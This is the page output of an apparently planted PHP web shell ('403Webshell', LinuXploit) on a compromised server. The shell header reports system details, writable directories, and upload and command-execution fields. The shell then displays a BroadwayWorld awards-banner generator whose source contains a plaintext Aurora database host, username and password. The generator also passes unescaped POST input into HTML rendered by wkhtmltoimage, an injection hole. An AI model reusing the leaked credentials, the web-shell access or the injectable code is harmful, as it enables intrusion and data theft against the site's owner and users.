403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/public_html/bway/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/public_html/bway/banner-generator-winners.php
<?php
require_once __DIR__ . '/db/mysql_bootstrap.php';

// DB connections
$dbReadDSN = 'mysql:host=amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com;dbname=amazonrds;charset=utf8mb4';
$dbReadUser = 'admin';
$dbReadPass = 'xxatN6Lb8Kbwb9MiU1At';

$utime = time();

$region = $_POST['region'];
$btype = $_POST['btype'];

// Global style for banner HTML
$globalstyle = "
@import url('https://fonts.googleapis.com/css2?family=Oswald:wght@700&display=swap');

      body {    text-rendering: optimizeLegibility;
    margin: 0; padding: 0;

        }
";

// Query for the winner
$pdoRead = new PDO($dbReadDSN, $dbReadUser, $dbReadPass, mysqlPdoOptions([]));
$pdoRead->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$stmt = $pdoRead->prepare("SELECT * FROM buyersg2015 WHERE region = :region AND btype = :btype ORDER BY votes DESC LIMIT 0,1");
$stmt->execute([':region' => $region, ':btype' => $btype]);
$getwinner = $stmt->fetch(PDO::FETCH_ASSOC);

// Build nomname from winner fields
$nomname = '';
if (!empty($getwinner['prod'])) {
    $nomname .= $getwinner['prod'];
}
if (!empty($getwinner['company'])) {
    $nomname .= ' ' . $getwinner['company'];
}
if (!empty($getwinner['copy'])) {
    $nomname .= ' ' . $getwinner['copy'];
}
$nomname = trim($nomname);


// --- Banner 1: 3840x3840 IG square ---
$voteStyle = '';
if (strlen($nomname) > 25) {
    $voteStyle = 'font-size: 250px !important;';
}

$banner = <<<HTML
<style type="text/css">
{$globalstyle}
    td {
        color: c01b1d;
        font-size: 350px;
    }


    td {
    background-color:#000;
    font-family: Oswald, sans-serif;
    text-shadow: #fff 10px 0 10px;
    letter-spacing: 5px;
    }

    .bww {
    color: #c01b1d;
    z-index:1 ;
    margin-bottom: -100px !important;
        -webkit-text-stroke-width: 10px;
  -webkit-text-stroke-color: white;
    padding-top: 150px;
    }

    .region {
    position:relative;
     white-space: nowrap;
    overflow: visible;
    color: yellow;
    z-index: 1;
    -webkit-text-stroke-width: 10px;
  -webkit-text-stroke-color: black;
    }

    .awards{
    padding: 10px 40px 10px 10px;
    background-color: #c01b1d;
    border-radius: 20px;
    display: inline-block;
    color:#fff;
    text-shadow: #000 10px 0 10px;
    letter-spacing: 150px;
    text-indent: 170px;
    font-size: 300px;
    line-height: 400px !important;
        -webkit-text-stroke-width: 10px;
  -webkit-text-stroke-color: black;
    }

    .vote {
    color: #fff;
    z-index:1 ;
    margin-bottom: -100px !important;
        -webkit-text-stroke-width: 10px;
  -webkit-text-stroke-color:#c01b1d;
    padding-top: 150px;
    {$voteStyle}
    }

</style>
<table style="width:3840px;height:3840px;border-width:1px;border-style:solid;border-color:black;">
<Tr><td style="padding:6px;">
 <center><div class="bww"><font color="#fff">2023 </font>BroadwayWorld</div> <div class="region">{$region}</div> <div class="awards">AWARDS</div><div class="vote">{$nomname}</div><p><img src="https://mediakit.broadwayworld.com/wp-content/uploads/2022/08/01-Broadway-World-20th-wide-for-black-background.png" style="z-index:0;position:relative;width:1500px;"></center>
</Td></Tr>
</table>
HTML;

file_put_contents('/home/banners/public_html/bway/temp/temp.htm', $banner);
shell_exec('/usr/local/bin/wkhtmltoimage --width 3840 --height 3840 --quality 50 /home/banners/public_html/bway/temp/temp.htm /home/banners/public_html/bway/temp/output.png');
rename('/home/banners/public_html/bway/temp/output.png', '/home/banners/public_html/bway/temp/' . $utime . '-IG.png');
chmod('/home/banners/public_html/bway/temp/' . $utime . '-IG.png', 0777);


// --- Banner 2: 2160x3840 IG story ---
$regionStyle = '';
if (strlen($region) > 17) {
    $regionStyle = 'font-size: 200px !important;';
}
$voteStyleStory = 'font-size:200px;';
if (strlen($nomname) > 25) {
    $voteStyleStory .= ' font-size: 150px !important;';
}

$banner = <<<HTML
<style type="text/css">
{$globalstyle}

     td {
        color: c01b1d;
        font-size: 300px;
    }


    td {
    background-color:#000;
    font-family: Oswald, sans-serif;
    text-shadow: #fff 10px 0 10px;
    letter-spacing: 5px;
    }

    .bww {
    color: #c01b1d;
    z-index:1 ;
    margin-bottom: -100px !important;
        -webkit-text-stroke-width: 10px;
  -webkit-text-stroke-color: white;
    padding-top: 150px;
    }

    .region {
    position:relative;
     white-space: nowrap;
    overflow: visible;
    color: yellow;
    z-index: 1;
    -webkit-text-stroke-width: 10px;
  -webkit-text-stroke-color: black;
    {$regionStyle}

    }

    .awards{
    padding: 10px 40px 10px 10px;
    background-color: #c01b1d;
    border-radius: 0px;
    display: inline-block;
    color:#fff;
    text-shadow: #000 10px 0 10px;
    letter-spacing: 150px;
    text-indent: 170px;
    font-size: 300px;
    line-height: 400px !important;
        -webkit-text-stroke-width: 10px;
  -webkit-text-stroke-color: black;
    }

    .vote {
    color: #fff;
    z-index:1 ;
    margin-bottom: -100px !important;
        -webkit-text-stroke-width: 10px;
  -webkit-text-stroke-color:#c01b1d;
    padding-top: 150px;
    {$voteStyleStory}
    }

</style>
<table style="width:2160px;height:3840px;border-width:1px;border-style:solid;border-color:black;">
<Tr><td style="padding:6px;">
<center><div class="bww"><font color="#fff">2023 </font>BroadwayWorld</div> <div class="region">{$region}</div> <div class="awards">AWARDS</div><div class="vote">WINNER<br>    {$nomname}</div><p><img src="https://mediakit.broadwayworld.com/wp-content/uploads/2022/08/01-Broadway-World-20th-wide-for-black-background.png" style="z-index:0;position:relative;width:1500px;height:auto;">
</Td></Tr>
</table>
HTML;

file_put_contents('/home/banners/public_html/bway/temp/temp.htm', $banner);
shell_exec('/usr/local/bin/wkhtmltoimage --width 2160 --height 3840 --quality 50 /home/banners/public_html/bway/temp/temp.htm /home/banners/public_html/bway/temp/output.png');
rename('/home/banners/public_html/bway/temp/output.png', '/home/banners/public_html/bway/temp/' . $utime . '-IGStory.png');
chmod('/home/banners/public_html/bway/temp/' . $utime . '-IGStory.png', 0777);


// --- Banner 3: 3300x2550 Certificate ---
// Query for regionurl
$stmt2 = $pdoRead->prepare("SELECT regionurl FROM cattable2018 WHERE awardsregion = :region");
$stmt2->execute([':region' => $region]);
$getregion = $stmt2->fetch(PDO::FETCH_ASSOC);
$regionurl = $getregion['regionurl'];

$banner = <<<HTML
     <style>

        .category {
            font-family: Impact;
            font-size: 100px;
        }

        .winner {
            font-family: Impact;
            font-size: 150px;
        }

        .show {
            font-family: Impact;
            font-size: 100px;
        }

        td {
            position: relative;
            width: 3300px;
            height: 2550px;
            border: 1px solid black;
            background-image: url('https://cloudimages.broadwayworld.com/2023cert.png');
            background-size: cover;
            background-repeat: no-repeat;
        }

        .logo {
            position: absolute;
            bottom: 20px;
            left: 45%;
            width: 500px;
            height: auto;

    </style>
</head>

<body>
    <table>
        <td>
            <center>
     <div class="region"><img src="https://cloudimages.broadwayworld.com/bwwawards2023/800300-{$regionurl}.png" style="width:3000px;height:auto;margin-top:-400px;padding-bottom:100px;"></div>
                <div class="category">{$btype}</div><br><br>
                <div class="winner">{$nomname}</div><br>
                <img src="https://mediakit.broadwayworld.com/wp-content/uploads/2022/08/02-Broadway-World-20th-wide-for-white-background.png" class="logo">
            </center>
        </td>
    </table>
</body>
</html>
HTML;

file_put_contents('/home/banners/public_html/bway/temp/temp.htm', $banner);
shell_exec('/usr/local/bin/wkhtmltoimage --width 3300 --height 2550 --quality 50 /home/banners/public_html/bway/temp/temp.htm /home/banners/public_html/bway/temp/output.png');
rename('/home/banners/public_html/bway/temp/output.png', '/home/banners/public_html/bway/temp/' . $utime . '-cert.png');
chmod('/home/banners/public_html/bway/temp/' . $utime . '-cert.png', 0777);

?>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />



<!DOCTYPE html>
<html lang="en">
<head>
<title>BroadwayWorld Advertising</title>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">

<link rel="apple-touch-icon-precomposed" sizes="57x57" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-57x57.png" />
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-114x114.png" />
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-72x72.png" />
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-144x144.png" />
<link rel="apple-touch-icon-precomposed" sizes="60x60" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-60x60.png" />
<link rel="apple-touch-icon-precomposed" sizes="120x120" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-120x120.png" />
<link rel="apple-touch-icon-precomposed" sizes="76x76" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-76x76.png" />
<link rel="apple-touch-icon-precomposed" sizes="152x152" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-152x152.png" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-196x196.png" sizes="196x196" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-96x96.png" sizes="96x96" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-32x32.png" sizes="32x32" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-16x16.png" sizes="16x16" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-128.png" sizes="128x128" />
<link rel="apple-touch-icon-precomposed" sizes="57x57" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-57x57.png" />
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-114x114.png" />
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-72x72.png" />
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-144x144.png" />
<link rel="apple-touch-icon-precomposed" sizes="60x60" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-60x60.png" />
<link rel="apple-touch-icon-precomposed" sizes="120x120" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-120x120.png" />
<link rel="apple-touch-icon-precomposed" sizes="76x76" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-76x76.png" />
<link rel="apple-touch-icon-precomposed" sizes="152x152" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-152x152.png" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-196x196.png" sizes="196x196" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-96x96.png" sizes="96x96" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-32x32.png" sizes="32x32" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-16x16.png" sizes="16x16" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-128.png" sizes="128x128" />
<meta name="msapplication-TileImage" content="https://cloudimages.broadwayworld.com/2017/icons/mstile-144x144.png" />
<meta name="msapplication-square70x70logo" content="https://cloudimages.broadwayworld.com/2017/icons/mstile-70x70.png" />
<meta name="msapplication-square150x150logo" content="https://cloudimages.broadwayworld.com/2017/icons/mstile-150x150.png" />
<meta name="msapplication-wide310x150logo" content="https://cloudimages.broadwayworld.com/2017/icons/mstile-310x150.png" />
<meta name="msapplication-square310x310logo" content="https://cloudimages.broadwayworld.com/2017/icons/mstile-310x310.png" />

<link href="https://cloudimages.broadwayworld.com/theme/assets/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet">

<link href="https://cloudadmin.broadwayworld.com/theme/horizontal/css/style3.css" rel="stylesheet">

<link href="https://cloudimages.broadwayworld.com/theme/horizontal/css/colors/blue.css" id="theme" rel="stylesheet">


<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<style type="text/css">
.topbar {
background: #b20223;
}
.sidebar-nav>ul>li>a.active {
background: transparent;
}
.table-striped tbody tr:nth-of-type(odd) {
background: #ffff;
}
.topbar .navbar-header {
background: #b20223;
}
</style>
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-2DC6YK1CEP"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-2DC6YK1CEP');
</script>
</head>
<body class="fix-header card-no-border logo-center">



<div class="preloader">
<svg class="circular" viewBox="25 25 50 50">
<circle class="path" cx="50" cy="50" r="20" fill="none" stroke-width="2" stroke-miterlimit="10" /> </svg>
</div>



<div id="main-wrapper">



<header class="topbar">
<script src="https://cloudadmin.broadwayworld.com/plugins/bower_components/jquery/dist/jquery224.min.js"></script>
<nav class="navbar top-navbar navbar-expand-md navbar-light">



<div class="navbar-header">
<a class="navbar-brand" href="/">
<b>


<img src="https://cloudimages.broadwayworld.com/2018/bwweliteadmin-logo4-2a.png" alt="homepage" class="dark-logo" style="max-height: 59px;" />

<img src="https://cloudimages.broadwayworld.com/2018/bwweliteadmin-logo4-2a.png" alt="homepage" class="light-logo" style="max-height: 59px;" />
</b>

<span>

<img src="https://cloudimages.broadwayworld.com/theme/assets/images/bwwlogo-text2a.png" alt="homepage" class="dark-logo" style="max-height: 20px;" />

<img src="https://cloudimages.broadwayworld.com/theme/assets/images/bwwlogo-light-text2a.png" class="light-logo" alt="homepage" style="max-height: 20px;" /></span> </a>
</div>



<div class="navbar-collapse">



<ul class="navbar-nav mr-auto mt-md-0">

<li class="nav-item"> <a class="nav-link nav-toggler hidden-md-up text-muted waves-effect waves-dark" href="javascript:void(0)"><i class="mdi mdi-menu"></i></a> </li>




</ul>



<ul class="navbar-nav my-lg-0">




<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle text-muted waves-effect waves-dark" href="" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">&nbsp;</a>
<div class="dropdown-menu dropdown-menu-right scale-up">
<ul class="dropdown-user">
<li role="separator" class="divider"></li>
</ul>
</div>
</li>
</ul>
</div>
</nav>
</header>



<div class="page-wrapper">
<div class="container-fluid">
<script src="https://cloudimages.broadwayworld.com/theme/assets/plugins/bootstrap/js/bootstrap.min.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/jQuery-slimScroll/1.3.8/jquery.slimscroll.min.js"></script>

<script src="https://cloudimages.broadwayworld.com/theme/horizontal/js/waves.js"></script>

<script src="https://cloudimages.broadwayworld.com/theme/horizontal/js/sidebarmenu.js"></script>

<script src="https://cloudimages.broadwayworld.com/theme/assets/plugins/sticky-kit-master/dist/sticky-kit.min.js"></script>

<script src="https://cloudimages.broadwayworld.com/theme/horizontal/js/custom.min.js"></script>

<?php echo "1920x1920 - IG square<br>\n"; ?>

<img src="https://cloud.broadwayworld.com/temp/<?php echo $utime; ?>-IG.png" alt="Banner Image"  style="width:600px;height:600px;"><p>

</p>
<p>
    1080x1920 - IG story<br>
    <img src="https://cloud.broadwayworld.com/temp/<?php echo $utime; ?>-IGStory.png" alt="Banner Image"  style="width:400px;height:800px;"><p>

</p>

<p>
    Certificate<br>
    <img src="https://cloud.broadwayworld.com/temp/<?php echo $utime; ?>-cert.png" alt="Banner Image"  style="width:1000px;height:772px;"><p>

</p>


    <p></p><br><br><br>
    Powered by <a href="https://www.broadwayworld.com/mediakit.cfm">BroadwayWorld's Banner Builder</a>.

      </div>
            <!-- ============================================================== -->
            <!-- End Container fluid  -->
            <!-- ============================================================== -->
            <!-- ============================================================== -->
            <!-- footer -->
            <!-- ============================================================== -->
            <footer class="footer">
                Copyright <?php echo date('Y'); ?> Wisdom Digital Media
            </footer>
            <!-- ============================================================== -->
            <!-- End footer -->
            <!-- ============================================================== -->
        </div>
        <!-- ============================================================== -->
        <!-- End Page wrapper  -->
        <!-- ============================================================== -->
    </div>
    <!-- ============================================================== -->
    <!-- End Wrapper -->
    <!-- ============================================================== -->
    <!-- ============================================================== -->
    <!-- All Jquery -->
    <!-- ============================================================== -->
    <!-- Bootstrap tether Core JavaScript -->

            <script src="https://cdnjs.cloudflare.com/ajax/libs/jQuery-slimScroll/1.3.8/jquery.slimscroll.min.js"></script>

        <script src="https://cloudimages.broadwayworld.com/theme/assets/plugins/bootstrap/js/popper.min.js"></script>

    <script src="https://cloudimages.broadwayworld.com/theme/assets/plugins/bootstrap/js/bootstrap.min.js"></script>
    <!-- slimscrollbar scrollbar JavaScript /theme/horizontal/js/jquery.slimscroll.js -->


    <!--Wave Effects -->
    <script src="https://cloudimages.broadwayworld.com/theme/horizontal/js/waves.js"></script>
    <!--Menu sidebar -->
    <script src="https://cloudimages.broadwayworld.com/theme/horizontal/js/sidebarmenu.js"></script>
    <!--stickey kit -->
    <script src="https://cloudimages.broadwayworld.com/theme/assets/plugins/sticky-kit-master/dist/sticky-kit.min.js"></script>
    <!--Custom JavaScript -->
    <script src="https://cloudimages.broadwayworld.com/theme/horizontal/js/custom.min.js"></script>

Youez - 2016 - github.com/yon3zu
LinuXploit